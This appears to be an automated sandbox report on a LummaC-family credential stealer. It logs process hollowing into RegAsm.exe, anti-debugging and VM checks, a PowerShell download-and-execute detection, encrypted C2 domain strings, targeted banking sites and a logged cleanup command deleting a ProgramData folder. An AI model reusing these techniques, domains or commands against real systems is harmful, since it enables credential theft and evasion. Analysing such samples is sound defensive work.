Source: AAFIDG.29.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: AAFIDG.29.dr	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Amcache.hve.33.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: AAFIDG.29.dr	Binary or memory string: discord.comVMware20,11696492231f
Source: Amcache.hve.33.dr	Binary or memory string: vmci.sys
Source: AAFIDG.29.dr	Binary or memory string: global block list test formVMware20,11696492231
Source: AAFIDG.29.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: AAFIDG.29.dr	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: AAFIDG.29.dr	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: Amcache.hve.33.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.33.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.33.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.33.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: RegAsm.exe, 0000002E.00000002.2206607255.0000000000EDB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: AAFIDG.29.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Amcache.hve.33.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.33.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.33.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: AAFIDG.29.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Amcache.hve.33.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.33.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.33.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: AAFIDG.29.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Amcache.hve.33.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: AAFIDG.29.dr	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: AAFIDG.29.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: AAFIDG.29.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: Amcache.hve.33.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: AAFIDG.29.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Amcache.hve.33.dr	Binary or memory string: VMware Virtual USB Mouse
Source: AAFIDG.29.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Amcache.hve.33.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.33.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.33.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.33.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: AAFIDG.29.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Amcache.hve.33.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.33.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: RegAsm.exe, 00000003.00000002.1384359989.000000000140A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`#G
Source: AAFIDG.29.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: AAFIDG.29.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: AAFIDG.29.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Amcache.hve.33.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.33.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: RegAsm.exe, 0000001D.00000002.1929039688.0000000000BDC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWpK
Source: AAFIDG.29.dr	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: AAFIDG.29.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Amcache.hve.33.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.33.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: AAFIDG.29.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Amcache.hve.33.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.33.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: RegAsm.exe, 00000018.00000002.1483311475.0000000001196000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh3
Source: RegAsm.exe, 00000029.00000002.1938989194.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: AAFIDG.29.dr	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: RegAsm.exe, 00000003.00000002.1384359989.000000000146D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWA
Source: AAFIDG.29.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-76269
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-76266
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-76309
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-76286
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-77445
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-76287
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-76280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node	graph_3-76109
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process queried: DebugPort

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 24_2_0043C800 LdrInitializeThunk,

24_2_0043C800

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

3_2_0041ACFA

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00404610 VirtualProtect ?,00000004,00000100,00000000

3_2_00404610

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

3_2_004195E0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00419160 mov eax, dword ptr fs:[00000030h]		3_2_00419160
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_00415E38 mov eax, dword ptr fs:[00000030h]		29_2_00415E38

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00405000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

3_2_00405000

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041C8D9 SetUnhandledExceptionFilter,	3_2_0041C8D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041ACFA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_0041ACFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0041A718 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_0041A718
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB7B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	3_2_6CB7B66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CB7B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6CB7B1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_6CD2AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	3_2_6CD2AC62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_0041C8F8 SetUnhandledExceptionFilter,	29_2_0041C8F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_0041AD5F IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	29_2_0041AD5F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_0041A724 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_0041A724
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6C9EB66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	29_2_6C9EB66C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6C9EB1F7 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_6C9EB1F7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_6CB9AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	29_2_6CB9AC62

Source: C:\Users\user\Desktop\file.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7412, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 7492, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: userIEHDAFHDHC.exe PID: 7444, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3180, type: MEMORYSTR

Allocates memory in foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write	Jump to behavior
Source: C:\ProgramData\DHCGHDHIDH.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write
Source: C:\ProgramData\HDAFIIDAKJ.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_032C24A1 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessA,CreateProcessA,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

0_2_032C24A1

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\ProgramData\DHCGHDHIDH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A
Source: C:\ProgramData\HDAFIIDAKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A

LummaC encrypted strings found

Source: userFBKFCFBFID.exe, 00000012.00000002.1378322625.0000000003E95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: caffegclasiqwp.shop
Source: userFBKFCFBFID.exe, 00000012.00000002.1378322625.0000000003E95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: stamppreewntnq.shop
Source: userFBKFCFBFID.exe, 00000012.00000002.1378322625.0000000003E95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: stagedchheiqwo.shop
Source: userFBKFCFBFID.exe, 00000012.00000002.1378322625.0000000003E95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: millyscroqwp.shop
Source: userFBKFCFBFID.exe, 00000012.00000002.1378322625.0000000003E95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: evoliutwoqm.shop
Source: userFBKFCFBFID.exe, 00000012.00000002.1378322625.0000000003E95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: condedqpwqm.shop
Source: userFBKFCFBFID.exe, 00000012.00000002.1378322625.0000000003E95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: traineiwnqo.shop
Source: userFBKFCFBFID.exe, 00000012.00000002.1378322625.0000000003E95000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: locatedblsoqp.shop

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	3_2_004190A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_0040FD2A _EH_prolog,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	29_2_0040FD2A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 29_2_0040FE05 _EH_prolog,CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,	29_2_0040FE05

Writes to foreign memory regions

Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: E22008	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 440000	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 443000	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 452000	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: F82008	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 426000	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63B000	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63C000	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 84F008	Jump to behavior
Source: C:\ProgramData\DHCGHDHIDH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\DHCGHDHIDH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\DHCGHDHIDH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 440000
Source: C:\ProgramData\DHCGHDHIDH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 443000
Source: C:\ProgramData\DHCGHDHIDH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 452000
Source: C:\ProgramData\DHCGHDHIDH.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 8AF008
Source: C:\ProgramData\HDAFIIDAKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000
Source: C:\ProgramData\HDAFIIDAKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000
Source: C:\ProgramData\HDAFIIDAKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000
Source: C:\ProgramData\HDAFIIDAKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 426000
Source: C:\ProgramData\HDAFIIDAKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63B000
Source: C:\ProgramData\HDAFIIDAKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63C000
Source: C:\ProgramData\HDAFIIDAKJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: BDD008

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userFBKFCFBFID.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\userIEHDAFHDHC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userFBKFCFBFID.exe "C:\Users\userFBKFCFBFID.exe"	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\userIEHDAFHDHC.exe "C:\Users\userIEHDAFHDHC.exe"	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\DHCGHDHIDH.exe "C:\ProgramData\DHCGHDHIDH.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\HDAFIIDAKJ.exe "C:\ProgramData\HDAFIIDAKJ.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\EGIIJDHCGCBK" & exit	Jump to behavior
Source: C:\ProgramData\DHCGHDHIDH.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\ProgramData\HDAFIIDAKJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 29_2_6CAC1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,

29_2_6CAC1C30

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_6CB7B341 cpuid

3_2_6CB7B341

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,		3_2_00417630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,		29_2_0040E910

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\Users\user\Desktop\file.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\userFBKFCFBFID.exe	Queries volume information: C:\Users\userFBKFCFBFID.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\userIEHDAFHDHC.exe	Queries volume information: C:\Users\userIEHDAFHDHC.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\ProgramData\DHCGHDHIDH.exe	Queries volume information: C:\ProgramData\DHCGHDHIDH.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\HDAFIIDAKJ.exe	Queries volume information: C:\ProgramData\HDAFIIDAKJ.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00417420 GetProcessHeap,HeapAlloc,GetLocalTime,wsprintfA,

3_2_00417420

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

